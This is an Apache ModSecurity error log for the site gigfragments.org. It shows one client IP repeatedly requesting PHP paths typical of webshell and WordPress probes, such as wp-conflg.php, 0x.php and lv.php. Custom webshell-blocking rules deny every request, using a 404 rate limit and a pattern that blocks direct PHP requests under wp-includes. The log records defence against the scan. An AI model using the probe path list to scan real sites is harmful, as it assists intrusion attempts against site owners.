[Tue Nov 25 20:45:50.413199 2025] [:error] [pid 14077:tid 14110] [client 134.149.17.123:45898] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aSWk_hG9n7UHEkwDTyi3pwAAAEA"]
[Tue Nov 25 20:45:50.987164 2025] [:error] [pid 14077:tid 14121] [client 134.149.17.123:45944] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aSWk_hG9n7UHEkwDTyi3qwAAAEs"]
[Tue Nov 25 20:45:51.567162 2025] [:error] [pid 14077:tid 14122] [client 134.149.17.123:45929] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aSWk_xG9n7UHEkwDTyi3rwAAAEw"]
[Tue Nov 25 20:45:52.140337 2025] [:error] [pid 14077:tid 14120] [client 134.149.17.123:45973] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aSWlABG9n7UHEkwDTyi3sQAAAEo"]
[Tue Nov 25 20:45:52.750307 2025] [:error] [pid 14078:tid 14156] [client 134.149.17.123:46058] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aSWlANVXYbb0ii_rVoJdmwAAAJM"]
[Tue Nov 25 20:45:53.343683 2025] [:error] [pid 14168:tid 14184] [client 134.149.17.123:46037] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aSWlAfR-ZDU0QEgAIIt7uwAAAM0"]
[Tue Nov 25 20:45:53.875758 2025] [:error] [pid 2987:tid 3001] [client 134.149.17.123:46064] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aSWlAc-djEt-pTzPxny5HAAAAUw"]
[Tue Nov 25 20:45:54.468778 2025] [:error] [pid 2987:tid 2997] [client 134.149.17.123:46023] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSWlAs-djEt-pTzPxny5HQAAAUg"]
[Tue Nov 25 20:45:55.141804 2025] [:error] [pid 2987:tid 3002] [client 134.149.17.123:45992] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSWlA8-djEt-pTzPxny5HwAAAU0"]
[Tue Nov 25 20:45:55.727348 2025] [:error] [pid 14076:tid 14081] [client 134.149.17.123:45895] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSWlA3sB4Gz6Qw-pvBsrKQAAAAA"]
[Tue Nov 25 20:45:56.367598 2025] [:error] [pid 28609:tid 28637] [client 134.149.17.123:45957] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSWlBCGGdT-nZJVs3x3YWQAAAZM"]
[Tue Nov 25 20:45:56.945402 2025] [:error] [pid 2987:tid 2993] [client 134.149.17.123:45889] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aSWlBM-djEt-pTzPxny5IwAAAUQ"]
[Tue Nov 25 20:45:57.547762 2025] [:error] [pid 28609:tid 28629] [client 134.149.17.123:46042] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aSWlBSGGdT-nZJVs3x3YXgAAAYs"]
[Tue Nov 25 20:45:58.221495 2025] [:error] [pid 28836:tid 28968] [client 134.149.17.123:45911] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aSWlBpwNRsoxcLQGkTfXOwAAAs0"]
[Tue Nov 25 20:45:58.793092 2025] [:error] [pid 14076:tid 14096] [client 134.149.17.123:45939] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aSWlBnsB4Gz6Qw-pvBsrLQAAAA8"]
[Tue Nov 25 20:45:59.375390 2025] [:error] [pid 14077:tid 14129] [client 134.149.17.123:46050] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aSWlBxG9n7UHEkwDTyi3xAAAAFM"]
[Tue Nov 25 20:45:59.904249 2025] [:error] [pid 43843:tid 43868] [client 134.149.17.123:46014] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aSWlBxhx4v3NUNdMKDPlvwAAAdc"]
[Tue Nov 25 20:46:00.696321 2025] [:error] [pid 2987:tid 3012] [client 134.149.17.123:45993] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aSWlCM-djEt-pTzPxny5MQAAAVc"]
[Tue Nov 25 20:46:01.227269 2025] [:error] [pid 14078:tid 14149] [client 134.149.17.123:45987] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aSWlCdVXYbb0ii_rVoJdswAAAIw"]
[Tue Nov 25 20:46:01.839241 2025] [:error] [pid 28739:tid 28786] [client 134.149.17.123:46012] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWlCRxGpKmlkG4FexSPmwAAAhg"]
[Tue Nov 25 20:46:02.457510 2025] [:error] [pid 43981:tid 44007] [client 134.149.17.123:45996] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWlCggZn97m_qh_RaFVyAAAAxg"]
[Tue Nov 25 20:46:03.018315 2025] [:error] [pid 14078:tid 14155] [client 134.149.17.123:45957] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWlC9VXYbb0ii_rVoJdtwAAAJI"]
[Tue Nov 25 20:46:03.604090 2025] [:error] [pid 14078:tid 14146] [client 134.149.17.123:45926] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWlC9VXYbb0ii_rVoJdugAAAIk"]
[Tue Nov 25 20:46:04.147408 2025] [:error] [pid 28739:tid 28769] [client 134.149.17.123:46060] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWlDBxGpKmlkG4FexSPngAAAgc"]
[Tue Nov 25 20:46:04.817738 2025] [:error] [pid 28739:tid 28773] [client 134.149.17.123:45961] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWlDBxGpKmlkG4FexSPoQAAAgs"]
[Tue Nov 25 20:46:05.440009 2025] [:error] [pid 14168:tid 14171] [client 134.149.17.123:45906] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWlDfR-ZDU0QEgAIIt7ygAAAMA"]
[Tue Nov 25 20:46:05.994047 2025] [:error] [pid 28739:tid 28772] [client 134.149.17.123:45919] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWlDRxGpKmlkG4FexSPpgAAAgo"]
[Tue Nov 25 20:46:06.593952 2025] [:error] [pid 28739:tid 28762] [client 134.149.17.123:45958] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aSWlDhxGpKmlkG4FexSPqAAAAgA"]
[Tue Nov 25 20:46:14.167539 2025] [:error] [pid 43981:tid 43997] [client 134.149.17.123:45896] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSWlFggZn97m_qh_RaFV3QAAAw4"]
[Tue Nov 25 20:46:25.691452 2025] [:error] [pid 14078:tid 14139] [client 134.149.17.123:46019] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlIdVXYbb0ii_rVoJeDQAAAII"]
[Tue Nov 25 20:46:26.262033 2025] [:error] [pid 14077:tid 14124] [client 134.149.17.123:45772] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlIhG9n7UHEkwDTyi4AwAAAE4"]
[Tue Nov 25 20:46:26.886410 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:45995] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlIhG9n7UHEkwDTyi4CAAAAFA"]
[Tue Nov 25 20:46:27.561772 2025] [:error] [pid 28836:tid 28968] [client 134.149.17.123:46002] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlI5wNRsoxcLQGkTfXiQAAAs0"]
[Tue Nov 25 20:46:28.198508 2025] [:error] [pid 14076:tid 14104] [client 134.149.17.123:46022] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aSWlJHsB4Gz6Qw-pvBsrXQAAABc"]
[Tue Nov 25 20:46:28.836975 2025] [:error] [pid 14078:tid 14154] [client 134.149.17.123:46055] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aSWlJNVXYbb0ii_rVoJeHQAAAJE"]
[Tue Nov 25 20:46:29.539425 2025] [:error] [pid 14076:tid 14100] [client 134.149.17.123:46053] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aSWlJXsB4Gz6Qw-pvBsrYgAAABM"]
[Tue Nov 25 20:46:30.157222 2025] [:error] [pid 43843:tid 43850] [client 134.149.17.123:46067] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aSWlJhhx4v3NUNdMKDPl9AAAAcU"]
[Tue Nov 25 20:46:30.753852 2025] [:error] [pid 28609:tid 28637] [client 134.149.17.123:46077] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWlJiGGdT-nZJVs3x3YkAAAAZM"]
[Tue Nov 25 20:46:31.385612 2025] [:error] [pid 43843:tid 43862] [client 134.149.17.123:45921] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWlJxhx4v3NUNdMKDPl9gAAAdE"]
[Tue Nov 25 20:46:31.895234 2025] [:error] [pid 28739:tid 28763] [client 134.149.17.123:45985] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWlJxxGpKmlkG4FexSP1wAAAgE"]
[Tue Nov 25 20:46:32.512366 2025] [:error] [pid 14168:tid 14188] [client 134.149.17.123:46014] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWlKPR-ZDU0QEgAIIt8CwAAANE"]
[Tue Nov 25 20:46:33.034946 2025] [:error] [pid 28739:tid 28781] [client 134.149.17.123:45900] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aSWlKRxGpKmlkG4FexSP2wAAAhM"]
[Tue Nov 25 20:46:33.711083 2025] [:error] [pid 43981:tid 44006] [client 134.149.17.123:46079] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aSWlKQgZn97m_qh_RaFWBAAAAxc"]
[Tue Nov 25 20:46:34.245356 2025] [:error] [pid 14077:tid 14123] [client 134.149.17.123:45901] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aSWlKhG9n7UHEkwDTyi4EgAAAE0"]
[Tue Nov 25 20:46:34.877798 2025] [:error] [pid 14076:tid 14085] [client 134.149.17.123:45905] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aSWlKnsB4Gz6Qw-pvBsrbAAAAAQ"]
[Tue Nov 25 20:46:35.454770 2025] [:error] [pid 2987:tid 3002] [client 134.149.17.123:45998] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWlK8-djEt-pTzPxny5dQAAAU0"]
[Tue Nov 25 20:46:36.055744 2025] [:error] [pid 14078:tid 14139] [client 134.149.17.123:45851] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWlLNVXYbb0ii_rVoJeOAAAAII"]
[Tue Nov 25 20:46:36.904333 2025] [:error] [pid 28609:tid 28634] [client 134.149.17.123:45908] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWlLCGGdT-nZJVs3x3YmAAAAZA"]
[Tue Nov 25 20:46:37.554921 2025] [:error] [pid 14077:tid 14125] [client 134.149.17.123:46018] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWlLRG9n7UHEkwDTyi4FgAAAE8"]
[Tue Nov 25 20:46:38.092216 2025] [:error] [pid 43981:tid 43992] [client 134.149.17.123:45948] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aSWlLggZn97m_qh_RaFWCgAAAwk"]
[Tue Nov 25 20:46:38.702077 2025] [:error] [pid 28609:tid 28623] [client 134.149.17.123:45984] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aSWlLiGGdT-nZJVs3x3YmwAAAYU"]
[Tue Nov 25 20:46:39.305133 2025] [:error] [pid 2987:tid 3005] [client 134.149.17.123:45766] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aSWlL8-djEt-pTzPxny5fAAAAVA"]
[Tue Nov 25 20:46:39.821733 2025] [:error] [pid 14077:tid 14120] [client 134.149.17.123:45980] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aSWlLxG9n7UHEkwDTyi4GwAAAEo"]
[Tue Nov 25 20:46:40.392499 2025] [:error] [pid 28609:tid 28637] [client 134.149.17.123:46054] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSWlMCGGdT-nZJVs3x3YoQAAAZM"]
[Tue Nov 25 20:46:40.919811 2025] [:error] [pid 14168:tid 14173] [client 134.149.17.123:45976] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSWlMPR-ZDU0QEgAIIt8GwAAAMI"]
[Tue Nov 25 20:46:41.638383 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:45979] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSWlMRxGpKmlkG4FexSP6QAAAhU"]
